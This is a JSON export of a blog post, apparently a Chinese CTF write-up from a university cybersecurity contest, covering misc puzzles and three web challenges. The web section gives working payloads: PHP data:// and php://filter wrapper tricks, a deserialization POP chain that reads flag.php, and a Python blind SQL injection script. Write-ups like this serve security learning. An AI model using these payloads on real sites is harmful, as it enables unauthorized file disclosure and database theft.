{"id":1846,"date":"2023-05-28T20:49:57","date_gmt":"2023-05-28T12:49:57","guid":{"rendered":"https:\/\/fushuling.com\/?p=1846"},"modified":"2023-07-31T14:41:30","modified_gmt":"2023-07-31T06:41:30","slug":"%e7%ac%ac%e4%b8%80%e5%b1%8a%e5%b1%b1%e5%9f%8e%e6%9d%af%e5%a4%a7%e5%ad%a6%e7%94%9f%e7%bd%91%e7%bb%9c%e5%ae%89%e5%85%a8%e6%8a%80%e8%83%bd%e8%81%94%e8%b5%9bctf%e8%b5%9b","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2023\/05\/28\/%e7%ac%ac%e4%b8%80%e5%b1%8a%e5%b1%b1%e5%9f%8e%e6%9d%af%e5%a4%a7%e5%ad%a6%e7%94%9f%e7%bd%91%e7%bb%9c%e5%ae%89%e5%85%a8%e6%8a%80%e8%83%bd%e8%81%94%e8%b5%9bctf%e8%b5%9b\/","title":{"rendered":"\u7b2c\u4e00\u5c4a\u5c71\u57ce\u676f\u5927\u5b66\u751f\u7f51\u7edc\u5b89\u5168\u6280\u80fd\u8054\u8d5bCTF\u8d5b"},"content":{"rendered":"\n
\"\"<\/div><\/figure>\n\n\n\n

\u4fa5\u5e78\u62ff\u4e86\u7b2c\u4e00\uff0c\u611f\u89c9\u9898\u76ee\u5c31\u662f\u65b0\u751f\u8d5b\u96be\u5ea6\uff0c\u6ca1\u5565\u96be\u7684\uff0c\u96be\u53d7\u7684\u5c31\u662f\u7ebf\u4e0b\u6253\u7684\u65f6\u5019\u662f\u65ad\u7f51\u7684\uff0c\u800c\u4e14\u53ea\u6709\u4e09\u4e2a\u5c0f\u65f6\u3002<\/p>\n\n\n\n

MISC<\/strong><\/h1>\n\n\n\n

\u7b7e\u5230<\/h2>\n\n\n\n

010 editor\u6253\u5f00\u5c31\u662fflag<\/p>\n\n\n\n

\u6d41\u91cf<\/h2>\n\n\n\n

\u5bfc\u51fa\u6240\u6709http\u6587\u4ef6\uff0c\u627e\u5230666.zip\uff0c\u89e3\u538b\u540e\u5f97\u52301.txt\uff0c2.txt\uff0c3.txt\uff0c4.txt\uff0c5.txt\uff0c6.txt<\/p>\n\n\n\n

cat *> flag.txt<\/code><\/pre>\n\n\n\n
\u4fdd\u5b58\u5230\u4e00\u4e2a\u6587\u4ef6\u91cc\uff0c\u7136\u540e010editor\u6253\u5f00\uff0c\u5f88\u660e\u663e\u662f\u4e00\u4e2apng\u6587\u4ef6\uff0c\u6539\u540e\u7f00\u6253\u5f00\u662f\u4e00\u4e2a\u4e8c\u7ef4\u7801\uff0c\u626b\u4e86\u5c31\u662fflag<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7535\u53f0\u60c5\u6b4c<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u63d0\u53d6\u51fa\u6765\u5f97\u5230\uff1a<\/p>\n\n\n\n
316639323362393(9,-2,3)233386436343062623864616437(3,-1,9)613263343338626433<\/code><\/pre>\n\n\n\n
\u53bb\u6389\u8d1f\u7684\u5c31\u662f<\/p>\n\n\n\n
316639323362393233386436343062623864616437613263343338626433<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
hex\u89e3\u7801\u4e00\u4e0b\u5f97\u52301f923b9238d640bb8dad7a2c438bd3\uff0c\u5305\u4e0aflag{}\u5c31\u662fflag<\/p>\n\n\n\n
WEB<\/h1>\n\n\n\n
two<\/strong><\/h2>\n\n\n\n
 <?php\r\n\r\nhighlight_file(__FILE__);\r\nerror_reporting(0);\r\ninclude(\"ans.php\");\r\n\r\nif(isset($_GET[\"one\"]) && isset($_GET[\"two\"]) && isset($_POST[\"three\"]))\r\n{\r\n    $one = $_GET[\"one\"];\r\n    $two = $_GET[\"two\"];\r\n\r\n    $three = $_POST[\"three\"];\r\n    if(!empty($one) && !empty($two) && !empty($three))\r\n    {\r\n        if(file_get_contents($two) === \"g00dJ0b\" and file_get_contents($three) ===  \"onTh1s\")\r\n        {\r\n            echo \"bypass\";\r\n            var_dump($one);\r\n            include($one);\r\n        }\r\n    }\r\n    else\r\n        die(\"Insufficient Parameters\");\r\n}  <\/code><\/pre>\n\n\n\n
\u5148data\u4f2a\u534f\u8bae\u7ed5\u8fc7file_get_contents($two) === “g00dJ0b”\u4e0efile_get_contents($three) === “onTh1s”\uff0c\u7136\u540efile\u534f\u8bae\u8bfb\u53d6flag\u5373\u53ef<\/p>\n\n\n\n
?two=data:\/\/text\/plain;base64,ZzAwZEowYg==&one=php:\/\/filter\/read=convert.base64-encode\/resource=ans.php\r\nPOST three=data:\/\/text\/plain;base64,b25UaDFz&one=<\/code><\/pre>\n\n\n\n
php<\/strong><\/h2>\n\n\n\n
<?php\r\nerror_reporting(0);\r\nhighlight_file(__FILE__);\r\n$from = $_GET['from'];\r\n$to = $_GET['to'];\r\nif(!isset($from) or !isset($to) or stripos($from, \"flag\")!=FALSE)\r\n{\r\n$from = \"behind.php\";\r\n}\r\ninclude($from);\/\/ read flag.php\r\nif(isset($to))\r\n{\r\n$a = unserialize($to);\r\n$a->sayTheFlag();\r\n}<\/code><\/pre>\n\n\n\n
\u53d1\u73b0\u76f4\u63a5\u901a\u8fc7include()\u4e0d\u53ef\u80fd\u76f4\u63a5\u8bfb\u53d6\u5230flag.php\uff0c\u6240\u4ee5\u6211\u4eec\u8bfb\u4e00\u4e0bbehind.php<\/p>\n\n\n\n
?from=php:\/\/filter\/read=convert.base64-encode\/resource=behind.php\r\n&to=123<\/code><\/pre>\n\n\n\n
base64\u89e3\u7801\u4e00\u4e0b\uff1a<\/p>\n\n\n\n
<?php\r\nerror_reporting(0);\r\nclass Test\r\n{\r\npublic $notthis;\r\npublic $variable;\r\npublic function __call($t1, $t2)\r\n{\r\nprint($this->notthis);\r\n}\r\n}\r\nclass NoUse\r\n{\npublic $notthis;\r\npublic $class;\r\npublic function __toString()\r\n{\r\nreturn file_get_contents($this->notthis);\r\n}\r\n}\r\n?><\/code><\/pre>\n\n\n\n
\u5f88\u7b80\u5355\u7684pop:<\/p>\n\n\n\n
<?php\r\nerror_reporting(0);\r\nclass Test\r\n{\r\npublic $notthis;\r\npublic $variable;\r\n}\r\nclass NoUse\r\n{\r\npublic $notthis;\r\npublic $class;\r\n}\r\n$a = new Test;\r\n$b = new NoUse;\r\n$b->notthis = 'flag.php';\r\n$a->notthis = $b;\r\necho serialize($a);\r\n#O:4:\"Test\":2:{s:7:\"notthis\";O:5:\"NoUse\":2:\r\n{s:7:\"notthis\";s:8:\"flag.php\";s:5:\"class\";N;}s:8:\"variable\";N;}\r\n?><\/code><\/pre>\n\n\n\n
?from=behind.php\r\n&to=O:4:\"Test\":2:{s:7:\"notthis\";O:5:\"NoUse\":2:\r\n{s:7:\"notthis\";s:8:\"flag.php\";s:5:\"class\";N;}s:8:\"variable\";N;}<\/code><\/pre>\n\n\n\n
\u6e90\u7801\u91cc\u5c31\u662fflag<\/p>\n\n\n\n
SQL<\/h2>\n\n\n\n
\u7528%0c\u66ff\u6362\u7a7a\u683c\uff0c\u7528or\u76f2\u6ce8\u5373\u53ef<\/p>\n\n\n\n
import requests\r\nimport string\r\nflag=''\r\nurl='http:\/\/192.168.10.165:58003\/?id='\r\nfor i in range(1,50):\r\n    for j in range(40,127):\r\n        #print(1)\r\n        #payload=\"0'%0cor%0c(substr(database(),{},1)='{}')\".format(i,a)\r\n        #print(a)\r\n        payload=\"0'%0cor%0cif((ascii(substr((select%0cF1ag%0cfrom%0cTheFl4g),{},1))={}),1,0)%0c\".format(i,j)\r\n        payload=payload+\"%23\"\r\n    res=requests.get(url=url+payload)\r\n    if \"Zhangsan\" in res.text:\r\n        flag+=chr(j)\r\n        print(flag)\r\n        break\r\n\r\nprint(flag)<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
\u4fa5\u5e78\u62ff\u4e86\u7b2c\u4e00\uff0c\u611f\u89c9\u9898\u76ee\u5c31\u662f\u65b0\u751f\u8d5b\u96be\u5ea6\uff0c\u6ca1\u5565\u96be\u7684\uff0c\u96be\u53d7\u7684\u5c31\u662f\u7ebf\u4e0b\u6253\u7684\u65f6\u5019\u662f\u65ad\u7f51\u7684\uff0c\u800c\u4e14\u53ea\u6709\u4e09\u4e2a\u5c0f\u65f6\u3002 MISC  […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"class_list":["post-1846","post","type-post","status-publish","format-standard","hentry","category-wp"],"_links":{"self":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/1846","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/comments?post=1846"}],"version-history":[{"count":1,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/1846\/revisions"}],"predecessor-version":[{"id":1851,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/1846\/revisions\/1851"}],"wp:attachment":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/media?parent=1846"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/categories?post=1846"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/tags?post=1846"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}